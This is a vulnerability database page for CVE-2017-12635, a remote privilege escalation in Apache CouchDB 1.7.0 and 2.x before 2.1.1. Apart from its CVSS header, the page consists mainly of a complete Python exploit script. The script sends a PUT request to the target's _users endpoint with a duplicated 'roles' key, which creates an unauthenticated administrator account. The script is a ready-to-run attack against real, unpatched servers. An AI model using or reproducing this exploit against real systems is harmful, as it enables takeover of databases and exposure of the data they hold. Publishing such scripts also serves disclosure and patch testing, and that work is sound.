Apache CouchDB 1.7.0 and 2.x before 2.1.1 Remote Privilege Escalation

2018.04.24
Credit: r4wd3r
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Apache CouchDB JSON 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation # Date: 2017-08-07 # Exploit Author: Sebastián Castro @r4wd3r # Vendor Homepage: https://blog.couchdb.org/2017/11/14/apache-couchdb-cve-2017-12635-and-cve-2017-12636/ # Software Link: http://couchdb.apache.org/ # Version: Apache CouchDB 1.7.0 and 2.x before 2.1.1 # CVE : CVE-2017-12635 #!/usr/bin/env python import argparse import re import sys import requests parser = argparse.ArgumentParser( description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' + ' (CVE-2017-12635)') parser.add_argument('host', help='Host to attack.', type=str) parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984') parser.add_argument('-u', '--user', help='Username to create as admin.', type=str, default='couchara') parser.add_argument('-P', '--password', help='Password of the created user.', type=str, default='couchapass') args = parser.parse_args() host = args.host port = args.port user = args.user password = args.password pat_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") if not pat_ip.match(host): print "[x] Wrong host. Must be a valid IP address." sys.exit(1) print "[+] User to create: " + user print "[+] Password: " + password print "[+] Attacking host " + host + " on port " + port url = 'http://' + host + ':' + port try: rtest = requests.get(url, timeout=10) except requests.exceptions.Timeout: print "[x] Server is taking too long to answer. Exiting." sys.exit(1) except requests.ConnectionError: print "[x] Unable to connect to the remote host." sys.exit(1) # Payload for creating user cu_url_payload = url + "/_users/org.couchdb.user:" + user cu_data_payload = '{"type": "user", "name": "'+user+'", "roles": ["_admin"], "roles": [], "password": "'+password+'"}' try: rcu = requests.put(cu_url_payload, data=cu_data_payload) except requests.exceptions.HTTPError: print "[x] ERROR: Unable to create the user on remote host." sys.exit(1) if rcu.status_code == 201: print "[+] User " + user + " with password " + password + "successfully created." sys.exit(0) else: print "[x] ERROR " + rcu.status_code + ": Unable to create the user on remote host."


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top